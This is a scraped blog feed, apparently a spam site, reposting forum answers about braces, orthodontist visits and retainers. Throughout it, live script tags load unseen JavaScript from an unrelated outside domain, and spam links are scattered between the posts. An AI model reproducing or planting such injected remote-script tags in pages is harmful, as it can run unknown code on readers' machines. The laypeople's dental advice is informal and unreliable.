:)<br>Reply:metalic blue looks good<br>Reply:my daughter got braces 2 weeks ago and when she went at first they just checked over her teeth and when they finally decided she needed braces, she went back and they put them on. She has two colors, blue, which is a light ice blue, and purple. She had them alternate the colors.<br>Reply:the first appointment they let you know what your problem is because your dentist shouldve sent them the xrays. they may take a mold of your teeth with like this puddy that leaves a weird taste. they may also take an xray themselves. i like the blues better because i guess cuz im a guy.<br>Reply:the icy blue is probably like the light blue. it looks icy! and good. i have braces right now. dont worry about anything. its fine. and silver is the best color! i know its plain but it looks good. or teal, which i have right now. also you can ask them to give you rainbow or 2 or 3 different colors.<br><br /><br />usually the length of time that most people have braces are around 1- 4 years. but most of time it is around 1 or 2 years that a person has them on. you should ask them at your orthodontist office about braces and how long, what for, etc. you have them. But when you get them, they will probably tell you all the information. <br><br /><br />At the first appointment, they will probably just give you your braces, and it shouldnt hurt too much. Don't be scared. They make your teeth look pretty afterward! =)<br><br /><br />Good Luck!<br>Reply:mine took 2 hours. get blue<br>Reply:it depends.<br><br /><br />when i went the first time,<br><br /><br />they said i needed to lose more teeth,<br><br /><br />so then i came back in three months,<br><br /><br />then they made molds and all that stuff,<br><br /><br />and they put the braces on THAT DAY,<br><br /><br />but sometimes there can be up to three appointments before they actually put the braces on.<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />and i love the colors pick and orange together,<br><br /><br />:]<br><br /><br /><br><br /><br />but you can look here to see what colors look good together.<br><br /><br />:]<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />http://www.drjohnking.com/BracesSelector...<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />good luck!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://beauty.imwebhost.com/small-business/>Small Business</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-55024310414893727632010-05-21T21:14:00.001-07:002010-05-21T21:14:53.690-07:00Will the Orthodontist Remove Braces if you are not Satisfied?Hello<br><br /><br /><br><br /><br />Tomorrow I am beginning the removal process of my braces. I have been anticpating this for awhile. The thing is, there are some gaps between my teeth that I am uncomfortable with. My question is, will the orthodontist stick with his timeline, or adjust it accordingly to my concerns/ current state of my mouth?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Will the Orthodontist Remove Braces if you are not Satisfied?<br>do not do it beleive me i had gaps when i had braces but with a little patience like a couple weeks they go away and believe me the gap i got from the braces was BIG i was concerned to but if you wait it is soo worth now my smile is flawless!<br>Reply:No, the reason is because they are the expert and they will determine if you are ready or not.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-67373057691095170002010-05-21T21:14:00.000-07:002010-05-21T21:14:16.680-07:00MetLife pdp orthodontist near Sammamish?orthodontist near Sammamish<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>MetLife pdp orthodontist near Sammamish?<br>Well I don't know where Sammamish is, but I did used to work for a dentist. The easiest thing to do is call Met and ask them for a list of participating providers in your area. You also may be able to check on line. Hope this helps!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-25787988685965986962010-05-21T21:13:00.001-07:002010-05-21T21:13:49.828-07:00Should my orthodontist be changing the wire on my tracks?I've had braces (tracks) for nearly 6 months now, and my orthodontist has not changed the wire once.. is she supposed to??<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Should my orthodontist be changing the wire on my tracks?<br>don't worry about it <br><br /><br /><br><br /><br />everyones experience with braces are different many people go through many arch wires <br><br /><br /><br><br /><br />but an orthodontist will not change your wire if it is doing its job <br><br /><br /><br><br /><br />are your teeth already pretty straight and much movement isn't needed if soo the first arch wire will doo its job for a long time <br><br /><br /><br><br /><br />or if your teeth are very bad they may still need the first wire till teeth have move a bit more before a thicker wire can be used <br><br /><br /><br><br /><br />if you are concenered about it though simply ask your ortho why your wire hasn't been changed and am sure she/he will be happy too answer it =] <br><br /><br /><br><br /><br />xxxxxxxx<br>Reply:Probably not. Wires are changed when some kind of change in movement is needed. For example, things are not progressing as she would expect. That might mean a heavier wire is needed. Also, maybe one type of movement is needed initially (say, a tooth needs to be erupted more), so maybe a round wire is used. Then, because that movement has occurred, now a different movement is needed (like rotating a tooth so it's oriented properly). Maybe now a square wire is needed.<br><br /><br /><br><br /><br />The point is that she would've changed it had she needed to. Your teeth are likely moving in the directions she wants.<br>Reply:As far as I can remember, the wires don't get changed-they get tightened. The only need for changing them would be if the wires were broken.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-25189038312683740412010-05-21T21:13:00.000-07:002010-05-21T21:13:12.963-07:00Is an orthodontist's job gory?Does an orthodontist see blood and do implants aswell as surgeries like a dentist?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Is an orthodontist's job gory?<br>I'm not an orthodontist but I've had braces for many years which means I've been around one. :) I can tell you that they do see blood, like when they need to pull out teeth. There can also be blood when they clean your teeth with the sharp, metal stick (don't know what it's called). They do seem to do minor surgery sometimes but I don't know if that's common. It doesn't seem like it. I just remember my friend had to get stitches for something small. As for implants, I have no idea. You'll probably get better answers if you ask again during the daytime, or the opposite of whenever you're asking now. :)<br>Reply:Orthodontists probably have the least "gory" job compared to other dental specialists. No, they don't usually do implants or other surgeries, those types of procedures are usually performed by oral surgeons, periodontists, or endodontists.<br><br /><br />But orthodontists know how to put the right traction on teeth to gradually bring them into place, they are incredible engineers! When I had braces, I followed all of my doc's instructions and had much better results than even he had predicted.<br>Reply:No. They don't .<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://www-boots-com.blogspot.com/>www.boots.com</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-22941274743462662202010-05-21T21:12:00.001-07:002010-05-21T21:12:48.011-07:00Will my orthodontist shape my front teeth? Please advise!?When my teeth were crooked, my front teeth, on the top and bottom I guess, rubbed together at the bottom and top edges. So, the bottom of my front upper left tooth has a small corner missing from it, and some of my bottom teeth don't have perfectly stragith edges either. I can only notice it now that my teeth are straight and my crossbite isn't covering it up. I get my braces off soon. Will my orthodontist, like, shave the edges so that they my teeth are perfect? Or, is this something that I would have to get done at my regular dentist? Should I get bonding done? Please advise!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Will my orthodontist shape my front teeth? Please advise!?<br>yes mine did that to me. it doesnt hurt. it tickled to me and felt really weird after words, but if he dosnt then you can ask<br>Reply:i'm glad everything went well <span>Report It</span><br /> <br>Reply:I don't think the orthodontist will. When I got my braces removed my orthodontist didn't do anything extra to my teeth. I am fortunate enough to have teeth that are pretty much all the same length and not chipped. I am sure it is something that would have to be paid for separate and that you would need to discuss with your regular dentist.<br>Reply:Normally that's something your regular dentist would do, not the orthodontist... How badly chipped are they? If the edges are very uneven and/or chipped, the dentist might not be able to fix them by just shaving off the edges without taking off alot of tooth structure, in that case they will probably want to do bonding.<br><br /><br /><br><br /><br />I would talk to your regular dentist about all that, the orthodontist definitely won't do bonding as I'm sure you know so your regular dentist can go over your options with you and tell you what will look the best.<br><br /><br /><br><br /><br />If you do get bonding though, if you want to whiten your teeth at any point do it before the bonding because bonding doesn't whiten<br>Reply:I think this is something your regular dentist will have to take care of...unless your regular dentist is your orthodontist! Then you can get both done by the same person. In my case, I had seperate doctors for both so I'd have to have the dental stuff done seperately.<br>Reply:orthodontists do not shape teeth. make an appointment with your dentist to have him take a look. he may or may not recommend bonding. hint: if you want to whiten your teeth, ask your dentist how long you should wait to whiten your teeth, then whiten them before you get bonding if that is what he recommends. bonding will not whiten.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-56451785977522426442010-05-21T21:12:00.000-07:002010-05-21T21:12:19.120-07:00Would an orthodontist office be open MLK day (tomorrow)?Anyone know? I know state businesses are closed, but what about an orthodontist office? I would assume doctor's offices would be open, but what about stuff like orthos, dentists, vets, etc.? I just got a new retainer last week, and it's not fitting well. I want to get it in ASAP to be worked on...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Would an orthodontist office be open MLK day (tomorrow)?<br>Yeah, usually.<br>Reply:most will be open<br>Reply:Mine is open and I go tomorrow, so I assume yes.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0tag:blogger.com,1999:blog-3511527534239870533.post-37377041724547632452010-05-21T21:11:00.002-07:002010-05-21T21:11:38.985-07:00Before I call my old orthodontist... What do you do when your retainer wears out years later?My last orthodontist appointment was 3 years ago. They told me wear my retainers a few times a week for the "rest of my life" and then sent me on my way....<br><br /><br />But now they are kind of worn out, falling out when I put them in.. I don't want to stop wearing them every once in awhile because they are still useful.. do you think the orthodontist would still have my files and such?<br><br /><br />I guess i"ll call them one of these days...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Before I call my old orthodontist... What do you do when your retainer wears out years later?<br>Yea..I think your orthodontist still have your info. Just call them and find out. I doubt that they would throw them out that fast. The info could then be easily transfered to your new doctor. The reason why ur retainer falls out is because your teeth moved and dont fit the retainer anymore...anyway..lol good luck!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://rubber-sole-slippers.blogspot.com/>sole slippers</a>SELMAhttp://www.blogger.com/profile/15193907866214037493noreply@blogger.com0